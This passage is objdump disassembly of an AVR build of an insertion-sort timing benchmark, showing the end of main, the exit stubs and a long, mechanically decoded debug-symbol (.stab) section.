1b8: 88 0f add r24, r24
1ba: 99 1f adc r25, r25
1bc: 80 50 subi r24, 0x00 ; 0
1be: 9f 4f sbci r25, 0xFF ; 255
1c0: fc 01 movw r30, r24
1c2: 20 81 ld r18, Z
1c4: 31 81 ldd r19, Z+1 ; 0x01
1c6: 8b 81 ldd r24, Y+3 ; 0x03
1c8: 9c 81 ldd r25, Y+4 ; 0x04
1ca: 01 97 sbiw r24, 0x01 ; 1
1cc: 88 0f add r24, r24
1ce: 99 1f adc r25, r25
1d0: 80 50 subi r24, 0x00 ; 0
1d2: 9f 4f sbci r25, 0xFF ; 255
1d4: fc 01 movw r30, r24
1d6: 80 81 ld r24, Z
1d8: 91 81 ldd r25, Z+1 ; 0x01
1da: 28 17 cp r18, r24
1dc: 39 07 cpc r19, r25
1de: 08 f4 brcc .+2 ; 0x1e2 <main+0x12e>
1e0: ba cf rjmp .-140 ; 0x156 <main+0xa2>
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:83
1e2: 89 81 ldd r24, Y+1 ; 0x01
1e4: 9a 81 ldd r25, Y+2 ; 0x02
1e6: 01 96 adiw r24, 0x01 ; 1
1e8: 9a 83 std Y+2, r25 ; 0x02
1ea: 89 83 std Y+1, r24 ; 0x01
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:62
1ec: 89 81 ldd r24, Y+1 ; 0x01
1ee: 9a 81 ldd r25, Y+2 ; 0x02
1f0: 8b 30 cpi r24, 0x0B ; 11
1f2: 91 05 cpc r25, r1
1f4: 0c f4 brge .+2 ; 0x1f8 <main+0x144>
1f6: aa cf rjmp .-172 ; 0x14c <main+0x98>
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:88
1f8: 81 e0 ldi r24, 0x01 ; 1
1fa: 90 e0 ldi r25, 0x00 ; 0
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:89
1fc: 26 96 adiw r28, 0x06 ; 6
1fe: 0f b6 in r0, 0x3f ; 63
200: f8 94 cli
202: de bf out 0x3e, r29 ; 62
204: 0f be out 0x3f, r0 ; 63
206: cd bf out 0x3d, r28 ; 61
208: df 91 pop r29
20a: cf 91 pop r28
20c: 08 95 ret
0000020e <_exit>:
__bad_interrupt():
../../../../crt1/gcrt1.S:195
20e: f8 94 cli
00000210 <__stop_program>:
210: ff cf rjmp .-2 ; 0x210 <__stop_program>
Disassembly of section .bss:
00800100 <__bss_start>:
...
Disassembly of section .stab:
00000000 <_end-0x800116>:
__vectors():
../../../../crt1/gcrt1.S:52
0: 01 00 .word 0x0001 ; ????
2: 00 00 nop
../../../../crt1/gcrt1.S:53
4: 00 00 nop
6: 90 00 .word 0x0090 ; ????
../../../../crt1/gcrt1.S:54
8: 54 00 .word 0x0054 ; ????
a: 00 00 nop
../../../../crt1/gcrt1.S:55
c: 01 00 .word 0x0001 ; ????
e: 00 00 nop
../../../../crt1/gcrt1.S:56
10: 64 00 .word 0x0064 ; ????
12: 00 00 nop
../../../../crt1/gcrt1.S:57
14: b0 00 .word 0x00b0 ; ????
16: 00 00 nop
../../../../crt1/gcrt1.S:58
18: 11 00 .word 0x0011 ; ????
1a: 00 00 nop
../../../../crt1/gcrt1.S:59
1c: 80 00 .word 0x0080 ; ????
1e: 00 00 nop
../../../../crt1/gcrt1.S:60
20: 00 00 nop
22: 00 00 nop
../../../../crt1/gcrt1.S:61
24: 1b 00 .word 0x001b ; ????
26: 00 00 nop
../../../../crt1/gcrt1.S:62
28: 24 00 .word 0x0024 ; ????
2a: 33 00 .word 0x0033 ; ????
../../../../crt1/gcrt1.S:63
2c: 00 00 nop
2e: 00 00 nop
../../../../crt1/gcrt1.S:64
30: 28 00 .word 0x0028 ; ????
32: 00 00 nop
../../../../crt1/gcrt1.S:65
34: 84 00 .word 0x0084 ; ????
...
../../../../crt1/gcrt1.S:67
3e: 00 00 nop
../../../../crt1/gcrt1.S:68
40: 44 00 .word 0x0044 ; ????
42: 34 00 .word 0x0034 ; ????
...
../../../../crt1/gcrt1.S:71
4c: 44 00 .word 0x0044 ; ????
4e: 35 00 .word 0x0035 ; ????
../../../../crt1/gcrt1.S:72
50: 04 00 .word 0x0004 ; ????
52: 00 00 nop
../../../../crt1/gcrt1.S:73
54: 00 00 nop
56: 00 00 nop
../../../../crt1/gcrt1.S:74
58: 44 00 .word 0x0044 ; ????
5a: 36 00 .word 0x0036 ; ????
../../../../crt1/gcrt1.S:75
5c: 08 00 .word 0x0008 ; ????
5e: 00 00 nop
../../../../crt1/gcrt1.S:76
60: 00 00 nop
62: 00 00 nop
../../../../crt1/gcrt1.S:77
64: 44 00 .word 0x0044 ; ????
66: 37 00 .word 0x0037 ; ????
../../../../crt1/gcrt1.S:78
68: 0c 00 .word 0x000c ; ????
6a: 00 00 nop
../../../../crt1/gcrt1.S:79
6c: 00 00 nop
6e: 00 00 nop
../../../../crt1/gcrt1.S:80
70: 44 00 .word 0x0044 ; ????
72: 38 00 .word 0x0038 ; ????
../../../../crt1/gcrt1.S:81
74: 10 00 .word 0x0010 ; ????
76: 00 00 nop
../../../../crt1/gcrt1.S:82
78: 00 00 nop
7a: 00 00 nop
../../../../crt1/gcrt1.S:83
7c: 44 00 .word 0x0044 ; ????
7e: 39 00 .word 0x0039 ; ????
../../../../crt1/gcrt1.S:84
80: 14 00 .word 0x0014 ; ????
82: 00 00 nop
../../../../crt1/gcrt1.S:85
84: 00 00 nop
86: 00 00 nop
../../../../crt1/gcrt1.S:86
88: 44 00 .word 0x0044 ; ????
8a: 3a 00 .word 0x003a ; ????
../../../../crt1/gcrt1.S:179
8c: 18 00 .word 0x0018 ; ????
8e: 00 00 nop
90: 00 00 nop
92: 00 00 nop
94: 44 00 .word 0x0044 ; ????
96: 3b 00 .word 0x003b ; ????
98: 1c 00 .word 0x001c ; ????
9a: 00 00 nop
9c: 00 00 nop
9e: 00 00 nop
a0: 44 00 .word 0x0044 ; ????
a2: 3c 00 .word 0x003c ; ????
a4: 20 00 .word 0x0020 ; ????
a6: 00 00 nop
a8: 00 00 nop
aa: 00 00 nop
ac: 44 00 .word 0x0044 ; ????
ae: 3d 00 .word 0x003d ; ????
__bad_interrupt():
../../../../crt1/gcrt1.S:195
b0: 24 00 .word 0x0024 ; ????
b2: 00 00 nop
main():
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:55
b4: 00 00 nop
b6: 00 00 nop
b8: 44 00 .word 0x0044 ; ????
ba: 3e 00 .word 0x003e ; ????
bc: 28 00 .word 0x0028 ; ????
be: 00 00 nop
c0: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:58
c2: 00 00 nop
c4: 44 00 .word 0x0044 ; ????
c6: 3f 00 .word 0x003f ; ????
c8: 2c 00 .word 0x002c ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:59
ca: 00 00 nop
cc: 00 00 nop
ce: 00 00 nop
d0: 44 00 .word 0x0044 ; ????
d2: 40 00 .word 0x0040 ; ????
d4: 30 00 .word 0x0030 ; ????
d6: 00 00 nop
d8: 00 00 nop
da: 00 00 nop
dc: 44 00 .word 0x0044 ; ????
de: 41 00 .word 0x0041 ; ????
e0: 34 00 .word 0x0034 ; ????
e2: 00 00 nop
e4: 00 00 nop
e6: 00 00 nop
e8: 44 00 .word 0x0044 ; ????
ea: 42 00 .word 0x0042 ; ????
ec: 38 00 .word 0x0038 ; ????
ee: 00 00 nop
f0: 00 00 nop
f2: 00 00 nop
f4: 44 00 .word 0x0044 ; ????
f6: 43 00 .word 0x0043 ; ????
f8: 3c 00 .word 0x003c ; ????
fa: 00 00 nop
fc: 00 00 nop
fe: 00 00 nop
100: 44 00 .word 0x0044 ; ????
102: 44 00 .word 0x0044 ; ????
104: 40 00 .word 0x0040 ; ????
106: 00 00 nop
108: 00 00 nop
10a: 00 00 nop
10c: 44 00 .word 0x0044 ; ????
10e: 45 00 .word 0x0045 ; ????
110: 44 00 .word 0x0044 ; ????
112: 00 00 nop
114: 00 00 nop
116: 00 00 nop
118: 44 00 .word 0x0044 ; ????
11a: 46 00 .word 0x0046 ; ????
11c: 48 00 .word 0x0048 ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:60
11e: 00 00 nop
120: 00 00 nop
122: 00 00 nop
124: 44 00 .word 0x0044 ; ????
126: 47 00 .word 0x0047 ; ????
128: 4c 00 .word 0x004c ; ????
12a: 00 00 nop
12c: 00 00 nop
12e: 00 00 nop
130: 44 00 .word 0x0044 ; ????
132: 48 00 .word 0x0048 ; ????
134: 50 00 .word 0x0050 ; ????
136: 00 00 nop
138: 00 00 nop
13a: 00 00 nop
13c: 44 00 .word 0x0044 ; ????
13e: 49 00 .word 0x0049 ; ????
140: 54 00 .word 0x0054 ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:61
142: 00 00 nop
144: 00 00 nop
146: 00 00 nop
148: 44 00 .word 0x0044 ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:62
14a: 4a 00 .word 0x004a ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:66
14c: 58 00 .word 0x0058 ; ????
14e: 00 00 nop
150: 00 00 nop
152: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:70
154: 44 00 .word 0x0044 ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:75
156: 4b 00 .word 0x004b ; ????
158: 5c 00 .word 0x005c ; ????
15a: 00 00 nop
15c: 00 00 nop
15e: 00 00 nop
160: 44 00 .word 0x0044 ; ????
162: 4c 00 .word 0x004c ; ????
164: 60 00 .word 0x0060 ; ????
166: 00 00 nop
168: 00 00 nop
16a: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:76
16c: 44 00 .word 0x0044 ; ????
16e: 4d 00 .word 0x004d ; ????
170: 64 00 .word 0x0064 ; ????
172: 00 00 nop
174: 00 00 nop
176: 00 00 nop
178: 44 00 .word 0x0044 ; ????
17a: 4e 00 .word 0x004e ; ????
17c: 68 00 .word 0x0068 ; ????
17e: 00 00 nop
180: 00 00 nop
182: 00 00 nop
184: 44 00 .word 0x0044 ; ????
186: 4f 00 .word 0x004f ; ????
188: 6c 00 .word 0x006c ; ????
18a: 00 00 nop
18c: 00 00 nop
18e: 00 00 nop
190: 44 00 .word 0x0044 ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:77
192: 50 00 .word 0x0050 ; ????
194: 70 00 .word 0x0070 ; ????
196: 00 00 nop
198: 00 00 nop
19a: 00 00 nop
19c: 44 00 .word 0x0044 ; ????
19e: 51 00 .word 0x0051 ; ????
1a0: 74 00 .word 0x0074 ; ????
1a2: 00 00 nop
1a4: 00 00 nop
1a6: 00 00 nop
1a8: 44 00 .word 0x0044 ; ????
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:78
1aa: 52 00 .word 0x0052 ; ????
1ac: 78 00 .word 0x0078 ; ????
1ae: 00 00 nop
1b0: 00 00 nop
1b2: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:70
1b4: 44 00 .word 0x0044 ; ????
1b6: 53 00 .word 0x0053 ; ????
1b8: 7c 00 .word 0x007c ; ????
1ba: 00 00 nop
1bc: 00 00 nop
1be: 00 00 nop
1c0: 44 00 .word 0x0044 ; ????
1c2: 54 00 .word 0x0054 ; ????
1c4: 80 00 .word 0x0080 ; ????
1c6: 00 00 nop
1c8: 00 00 nop
1ca: 00 00 nop
1cc: 44 00 .word 0x0044 ; ????
1ce: 55 00 .word 0x0055 ; ????
1d0: 84 00 .word 0x0084 ; ????
1d2: 00 00 nop
1d4: 00 00 nop
1d6: 00 00 nop
1d8: 44 00 .word 0x0044 ; ????
1da: 56 00 .word 0x0056 ; ????
1dc: 88 00 .word 0x0088 ; ????
1de: 00 00 nop
1e0: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:83
1e2: 00 00 nop
1e4: 44 00 .word 0x0044 ; ????
1e6: 57 00 .word 0x0057 ; ????
1e8: 8c 00 .word 0x008c ; ????
1ea: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:62
1ec: 00 00 nop
1ee: 00 00 nop
1f0: 44 00 .word 0x0044 ; ????
1f2: 58 00 .word 0x0058 ; ????
1f4: 8c 00 .word 0x008c ; ????
1f6: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:88
1f8: 00 00 nop
1fa: 00 00 nop
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:89
1fc: 44 00 .word 0x0044 ; ????
1fe: 59 00 .word 0x0059 ; ????
200: 8c 00 .word 0x008c ; ????
202: 00 00 nop
204: 00 00 nop
206: 00 00 nop
208: 44 00 .word 0x0044 ; ????
20a: 5a 00 .word 0x005a ; ????
20c: 8c 00 .word 0x008c ; ????
__bad_interrupt():
../../../../crt1/gcrt1.S:195
20e: 00 00 nop
210: 00 00 nop
212: 00 00 nop
214: 44 00 .word 0x0044 ; ????
216: 5b 00 .word 0x005b ; ????
218: 8c 00 .word 0x008c ; ????
21a: 00 00 nop
21c: 00 00 nop
21e: 00 00 nop
220: 44 00 .word 0x0044 ; ????
222: 5c 00 .word 0x005c ; ????
224: 8c 00 .word 0x008c ; ????
226: 00 00 nop
228: 00 00 nop
22a: 00 00 nop
22c: 44 00 .word 0x0044 ; ????
22e: 5d 00 .word 0x005d ; ????
230: 8c 00 .word 0x008c ; ????
232: 00 00 nop
234: 00 00 nop
236: 00 00 nop
238: 44 00 .word 0x0044 ; ????
23a: 5e 00 .word 0x005e ; ????
23c: 8c 00 .word 0x008c ; ????
23e: 00 00 nop
240: 00 00 nop
242: 00 00 nop
244: 44 00 .word 0x0044 ; ????
246: 5f 00 .word 0x005f ; ????
248: 8c 00 .word 0x008c ; ????
24a: 00 00 nop
24c: 00 00 nop
24e: 00 00 nop
250: 44 00 .word 0x0044 ; ????
252: 60 00 .word 0x0060 ; ????
254: 8c 00 .word 0x008c ; ????
256: 00 00 nop
258: 00 00 nop
25a: 00 00 nop
25c: 44 00 .word 0x0044 ; ????
25e: 61 00 .word 0x0061 ; ????
260: 8c 00 .word 0x008c ; ????
262: 00 00 nop
264: 00 00 nop
266: 00 00 nop
268: 44 00 .word 0x0044 ; ????
26a: 62 00 .word 0x0062 ; ????
26c: 8c 00 .word 0x008c ; ????
26e: 00 00 nop
270: 00 00 nop
272: 00 00 nop
274: 44 00 .word 0x0044 ; ????
276: 63 00 .word 0x0063 ; ????
278: 8c 00 .word 0x008c ; ????
27a: 00 00 nop
27c: 00 00 nop
27e: 00 00 nop
280: 44 00 .word 0x0044 ; ????
282: 64 00 .word 0x0064 ; ????
284: 8c 00 .word 0x008c ; ????
286: 00 00 nop
288: 00 00 nop
28a: 00 00 nop
28c: 44 00 .word 0x0044 ; ????
28e: 65 00 .word 0x0065 ; ????
290: 8c 00 .word 0x008c ; ????
292: 00 00 nop
294: 00 00 nop
296: 00 00 nop
298: 44 00 .word 0x0044 ; ????
29a: 66 00 .word 0x0066 ; ????
29c: 8c 00 .word 0x008c ; ????
29e: 00 00 nop
2a0: 00 00 nop
2a2: 00 00 nop
2a4: 44 00 .word 0x0044 ; ????
2a6: 67 00 .word 0x0067 ; ????
2a8: 8c 00 .word 0x008c ; ????
2aa: 00 00 nop
2ac: 00 00 nop
2ae: 00 00 nop
2b0: 44 00 .word 0x0044 ; ????
2b2: 68 00 .word 0x0068 ; ????
2b4: 8c 00 .word 0x008c ; ????
2b6: 00 00 nop
2b8: 00 00 nop
2ba: 00 00 nop
2bc: 44 00 .word 0x0044 ; ????
2be: 69 00 .word 0x0069 ; ????
2c0: 8c 00 .word 0x008c ; ????
2c2: 00 00 nop
2c4: 00 00 nop
2c6: 00 00 nop
2c8: 44 00 .word 0x0044 ; ????
2ca: 6a 00 .word 0x006a ; ????
2cc: 8c 00 .word 0x008c ; ????
2ce: 00 00 nop
2d0: 00 00 nop
2d2: 00 00 nop
2d4: 44 00 .word 0x0044 ; ????
2d6: 6b 00 .word 0x006b ; ????
2d8: 8c 00 .word 0x008c ; ????
2da: 00 00 nop
2dc: 00 00 nop
2de: 00 00 nop
2e0: 44 00 .word 0x0044 ; ????
2e2: 6c 00 .word 0x006c ; ????
2e4: 8c 00 .word 0x008c ; ????
2e6: 00 00 nop
2e8: 00 00 nop
2ea: 00 00 nop
2ec: 44 00 .word 0x0044 ; ????
2ee: 6d 00 .word 0x006d ; ????
2f0: 8c 00 .word 0x008c ; ????
2f2: 00 00 nop
2f4: 00 00 nop
2f6: 00 00 nop
2f8: 44 00 .word 0x0044 ; ????
2fa: 6e 00 .word 0x006e ; ????
2fc: 8c 00 .word 0x008c ; ????
2fe: 00 00 nop
300: 00 00 nop
302: 00 00 nop
304: 44 00 .word 0x0044 ; ????
306: 6f 00 .word 0x006f ; ????
308: 8c 00 .word 0x008c ; ????
30a: 00 00 nop
30c: 00 00 nop
30e: 00 00 nop
310: 44 00 .word 0x0044 ; ????
312: 70 00 .word 0x0070 ; ????
314: 8c 00 .word 0x008c ; ????
316: 00 00 nop
318: 00 00 nop
31a: 00 00 nop
31c: 44 00 .word 0x0044 ; ????
31e: 71 00 .word 0x0071 ; ????
320: 8c 00 .word 0x008c ; ????
322: 00 00 nop
324: 00 00 nop
326: 00 00 nop
328: 44 00 .word 0x0044 ; ????
32a: 72 00 .word 0x0072 ; ????
32c: 8c 00 .word 0x008c ; ????
32e: 00 00 nop
330: 00 00 nop
332: 00 00 nop
334: 44 00 .word 0x0044 ; ????
336: 73 00 .word 0x0073 ; ????
338: 8c 00 .word 0x008c ; ????
33a: 00 00 nop
33c: 00 00 nop
33e: 00 00 nop
340: 44 00 .word 0x0044 ; ????
342: 74 00 .word 0x0074 ; ????
344: 8c 00 .word 0x008c ; ????
346: 00 00 nop
348: 00 00 nop
34a: 00 00 nop
34c: 44 00 .word 0x0044 ; ????
34e: 75 00 .word 0x0075 ; ????
350: 8c 00 .word 0x008c ; ????
352: 00 00 nop
354: 00 00 nop
356: 00 00 nop
358: 44 00 .word 0x0044 ; ????
35a: 76 00 .word 0x0076 ; ????
35c: 8c 00 .word 0x008c ; ????
35e: 00 00 nop
360: 00 00 nop
362: 00 00 nop
364: 44 00 .word 0x0044 ; ????
366: 77 00 .word 0x0077 ; ????
368: 8c 00 .word 0x008c ; ????
36a: 00 00 nop
36c: 00 00 nop
36e: 00 00 nop
370: 44 00 .word 0x0044 ; ????
372: 78 00 .word 0x0078 ; ????
374: 8c 00 .word 0x008c ; ????
376: 00 00 nop
378: 00 00 nop
37a: 00 00 nop
37c: 44 00 .word 0x0044 ; ????
37e: 79 00 .word 0x0079 ; ????
380: 8c 00 .word 0x008c ; ????
382: 00 00 nop
384: 00 00 nop
386: 00 00 nop
388: 44 00 .word 0x0044 ; ????
38a: 7a 00 .word 0x007a ; ????
38c: 8c 00 .word 0x008c ; ????
38e: 00 00 nop
390: 00 00 nop
392: 00 00 nop
394: 44 00 .word 0x0044 ; ????
396: 7b 00 .word 0x007b ; ????
398: 8c 00 .word 0x008c ; ????
39a: 00 00 nop
39c: 00 00 nop
39e: 00 00 nop
3a0: 44 00 .word 0x0044 ; ????
3a2: 7c 00 .word 0x007c ; ????
3a4: 8c 00 .word 0x008c ; ????
3a6: 00 00 nop
3a8: 00 00 nop
3aa: 00 00 nop
3ac: 44 00 .word 0x0044 ; ????
3ae: 7d 00 .word 0x007d ; ????
3b0: 8c 00 .word 0x008c ; ????
3b2: 00 00 nop
3b4: 00 00 nop
3b6: 00 00 nop
3b8: 44 00 .word 0x0044 ; ????
3ba: 7e 00 .word 0x007e ; ????
3bc: 8c 00 .word 0x008c ; ????
3be: 00 00 nop
3c0: 00 00 nop
3c2: 00 00 nop
3c4: 44 00 .word 0x0044 ; ????
3c6: 7f 00 .word 0x007f ; ????
3c8: 8c 00 .word 0x008c ; ????
3ca: 00 00 nop
3cc: 00 00 nop
3ce: 00 00 nop
3d0: 44 00 .word 0x0044 ; ????
3d2: 80 00 .word 0x0080 ; ????
3d4: 8c 00 .word 0x008c ; ????
3d6: 00 00 nop
3d8: 00 00 nop
3da: 00 00 nop
3dc: 44 00 .word 0x0044 ; ????
3de: 81 00 .word 0x0081 ; ????
3e0: 8c 00 .word 0x008c ; ????
3e2: 00 00 nop
3e4: 00 00 nop
3e6: 00 00 nop
3e8: 44 00 .word 0x0044 ; ????
3ea: 82 00 .word 0x0082 ; ????
3ec: 8c 00 .word 0x008c ; ????
3ee: 00 00 nop
3f0: 00 00 nop
3f2: 00 00 nop
3f4: 44 00 .word 0x0044 ; ????
3f6: 83 00 .word 0x0083 ; ????
3f8: 8c 00 .word 0x008c ; ????
3fa: 00 00 nop
3fc: 00 00 nop
3fe: 00 00 nop
400: 44 00 .word 0x0044 ; ????
402: 84 00 .word 0x0084 ; ????
404: 8c 00 .word 0x008c ; ????
406: 00 00 nop
408: 00 00 nop
40a: 00 00 nop
40c: 44 00 .word 0x0044 ; ????
40e: 85 00 .word 0x0085 ; ????
410: 8c 00 .word 0x008c ; ????
412: 00 00 nop
414: 00 00 nop
416: 00 00 nop
418: 44 00 .word 0x0044 ; ????
41a: 86 00 .word 0x0086 ; ????
41c: 8c 00 .word 0x008c ; ????
41e: 00 00 nop
420: 00 00 nop
422: 00 00 nop
424: 44 00 .word 0x0044 ; ????
426: 87 00 .word 0x0087 ; ????
428: 8c 00 .word 0x008c ; ????
42a: 00 00 nop
42c: 00 00 nop
42e: 00 00 nop
430: 44 00 .word 0x0044 ; ????
432: 88 00 .word 0x0088 ; ????
434: 8c 00 .word 0x008c ; ????
436: 00 00 nop
438: 00 00 nop
43a: 00 00 nop
43c: 44 00 .word 0x0044 ; ????
43e: 89 00 .word 0x0089 ; ????
440: 8c 00 .word 0x008c ; ????
442: 00 00 nop
444: 00 00 nop
446: 00 00 nop
448: 44 00 .word 0x0044 ; ????
44a: 8a 00 .word 0x008a ; ????
44c: 8c 00 .word 0x008c ; ????
44e: 00 00 nop
450: 00 00 nop
452: 00 00 nop
454: 44 00 .word 0x0044 ; ????
456: 8b 00 .word 0x008b ; ????
458: 8c 00 .word 0x008c ; ????
45a: 00 00 nop
45c: 00 00 nop
45e: 00 00 nop
460: 44 00 .word 0x0044 ; ????
462: 8c 00 .word 0x008c ; ????
464: 8c 00 .word 0x008c ; ????
466: 00 00 nop
468: 00 00 nop
46a: 00 00 nop
46c: 44 00 .word 0x0044 ; ????
46e: 8d 00 .word 0x008d ; ????
470: 8c 00 .word 0x008c ; ????
472: 00 00 nop
474: 00 00 nop
476: 00 00 nop
478: 44 00 .word 0x0044 ; ????
47a: 8e 00 .word 0x008e ; ????
47c: 8c 00 .word 0x008c ; ????
47e: 00 00 nop
480: 00 00 nop
482: 00 00 nop
484: 44 00 .word 0x0044 ; ????
486: 8f 00 .word 0x008f ; ????
488: 8c 00 .word 0x008c ; ????
48a: 00 00 nop
48c: 00 00 nop
48e: 00 00 nop
490: 44 00 .word 0x0044 ; ????
492: 90 00 .word 0x0090 ; ????
494: 8c 00 .word 0x008c ; ????
496: 00 00 nop
498: 00 00 nop
49a: 00 00 nop
49c: 44 00 .word 0x0044 ; ????
49e: 91 00 .word 0x0091 ; ????
4a0: 8c 00 .word 0x008c ; ????
4a2: 00 00 nop
4a4: 00 00 nop
4a6: 00 00 nop
4a8: 44 00 .word 0x0044 ; ????
4aa: 92 00 .word 0x0092 ; ????
4ac: 8c 00 .word 0x008c ; ????
4ae: 00 00 nop
4b0: 00 00 nop
4b2: 00 00 nop
4b4: 44 00 .word 0x0044 ; ????
4b6: 93 00 .word 0x0093 ; ????
4b8: 8c 00 .word 0x008c ; ????
4ba: 00 00 nop
4bc: 00 00 nop
4be: 00 00 nop
4c0: 44 00 .word 0x0044 ; ????
4c2: 94 00 .word 0x0094 ; ????
4c4: 8c 00 .word 0x008c ; ????
4c6: 00 00 nop
4c8: 00 00 nop
4ca: 00 00 nop
4cc: 44 00 .word 0x0044 ; ????
4ce: 95 00 .word 0x0095 ; ????
4d0: 8c 00 .word 0x008c ; ????
4d2: 00 00 nop
4d4: 00 00 nop
4d6: 00 00 nop
4d8: 44 00 .word 0x0044 ; ????
4da: 96 00 .word 0x0096 ; ????
4dc: 8c 00 .word 0x008c ; ????
4de: 00 00 nop
4e0: 00 00 nop
4e2: 00 00 nop
4e4: 44 00 .word 0x0044 ; ????
4e6: 97 00 .word 0x0097 ; ????
4e8: 8c 00 .word 0x008c ; ????
4ea: 00 00 nop
4ec: 00 00 nop
4ee: 00 00 nop
4f0: 44 00 .word 0x0044 ; ????
4f2: 98 00 .word 0x0098 ; ????
4f4: 8c 00 .word 0x008c ; ????
4f6: 00 00 nop
4f8: 00 00 nop
4fa: 00 00 nop
4fc: 44 00 .word 0x0044 ; ????
4fe: 99 00 .word 0x0099 ; ????
500: 8c 00 .word 0x008c ; ????
502: 00 00 nop
504: 00 00 nop
506: 00 00 nop
508: 44 00 .word 0x0044 ; ????
50a: 9a 00 .word 0x009a ; ????
50c: 8c 00 .word 0x008c ; ????
50e: 00 00 nop
510: 00 00 nop
512: 00 00 nop
514: 44 00 .word 0x0044 ; ????
516: 9b 00 .word 0x009b ; ????
518: 8c 00 .word 0x008c ; ????
51a: 00 00 nop
51c: 00 00 nop
51e: 00 00 nop
520: 44 00 .word 0x0044 ; ????
522: 9c 00 .word 0x009c ; ????
524: 8c 00 .word 0x008c ; ????
526: 00 00 nop
528: 00 00 nop
52a: 00 00 nop
52c: 44 00 .word 0x0044 ; ????
52e: 9d 00 .word 0x009d ; ????
530: 8c 00 .word 0x008c ; ????
532: 00 00 nop
534: 00 00 nop
536: 00 00 nop
538: 44 00 .word 0x0044 ; ????
53a: 9e 00 .word 0x009e ; ????
53c: 8c 00 .word 0x008c ; ????
53e: 00 00 nop
540: 00 00 nop
542: 00 00 nop
544: 44 00 .word 0x0044 ; ????
546: 9f 00 .word 0x009f ; ????
548: 8c 00 .word 0x008c ; ????
54a: 00 00 nop
54c: 00 00 nop
54e: 00 00 nop
550: 44 00 .word 0x0044 ; ????
552: a0 00 .word 0x00a0 ; ????
554: 8c 00 .word 0x008c ; ????
556: 00 00 nop
558: 00 00 nop
55a: 00 00 nop
55c: 44 00 .word 0x0044 ; ????
55e: a1 00 .word 0x00a1 ; ????
560: 8c 00 .word 0x008c ; ????
562: 00 00 nop
564: 00 00 nop
566: 00 00 nop
568: 44 00 .word 0x0044 ; ????
56a: a2 00 .word 0x00a2 ; ????
56c: 8c 00 .word 0x008c ; ????
56e: 00 00 nop
570: 00 00 nop
572: 00 00 nop
574: 44 00 .word 0x0044 ; ????
576: a3 00 .word 0x00a3 ; ????
578: 8c 00 .word 0x008c ; ????
57a: 00 00 nop
57c: 00 00 nop
57e: 00 00 nop
580: 44 00 .word 0x0044 ; ????
582: a4 00 .word 0x00a4 ; ????
584: 8c 00 .word 0x008c ; ????
586: 00 00 nop
588: 00 00 nop
58a: 00 00 nop
58c: 44 00 .word 0x0044 ; ????
58e: a5 00 .word 0x00a5 ; ????
590: 8c 00 .word 0x008c ; ????
592: 00 00 nop
594: 00 00 nop
596: 00 00 nop
598: 44 00 .word 0x0044 ; ????
59a: a6 00 .word 0x00a6 ; ????
59c: 8c 00 .word 0x008c ; ????
59e: 00 00 nop
5a0: 00 00 nop
5a2: 00 00 nop
5a4: 44 00 .word 0x0044 ; ????
5a6: a7 00 .word 0x00a7 ; ????
5a8: 8c 00 .word 0x008c ; ????
5aa: 00 00 nop
5ac: 00 00 nop
5ae: 00 00 nop
5b0: 44 00 .word 0x0044 ; ????
5b2: a8 00 .word 0x00a8 ; ????
5b4: 8c 00 .word 0x008c ; ????
5b6: 00 00 nop
5b8: 00 00 nop
5ba: 00 00 nop
5bc: 44 00 .word 0x0044 ; ????
5be: a9 00 .word 0x00a9 ; ????
5c0: 8c 00 .word 0x008c ; ????
5c2: 00 00 nop
5c4: 00 00 nop
5c6: 00 00 nop
5c8: 44 00 .word 0x0044 ; ????
5ca: aa 00 .word 0x00aa ; ????
5cc: 8c 00 .word 0x008c ; ????
5ce: 00 00 nop
5d0: 00 00 nop
5d2: 00 00 nop
5d4: 44 00 .word 0x0044 ; ????
5d6: ab 00 .word 0x00ab ; ????
5d8: 8c 00 .word 0x008c ; ????
5da: 00 00 nop
5dc: 00 00 nop
5de: 00 00 nop
5e0: 44 00 .word 0x0044 ; ????
5e2: ac 00 .word 0x00ac ; ????
5e4: 8c 00 .word 0x008c ; ????
5e6: 00 00 nop
5e8: 00 00 nop
5ea: 00 00 nop
5ec: 44 00 .word 0x0044 ; ????
5ee: ad 00 .word 0x00ad ; ????
5f0: 8c 00 .word 0x008c ; ????
5f2: 00 00 nop
5f4: 00 00 nop
5f6: 00 00 nop
5f8: 44 00 .word 0x0044 ; ????
5fa: ae 00 .word 0x00ae ; ????
5fc: 8c 00 .word 0x008c ; ????
5fe: 00 00 nop
600: 00 00 nop
602: 00 00 nop
604: 44 00 .word 0x0044 ; ????
606: af 00 .word 0x00af ; ????
608: 8c 00 .word 0x008c ; ????
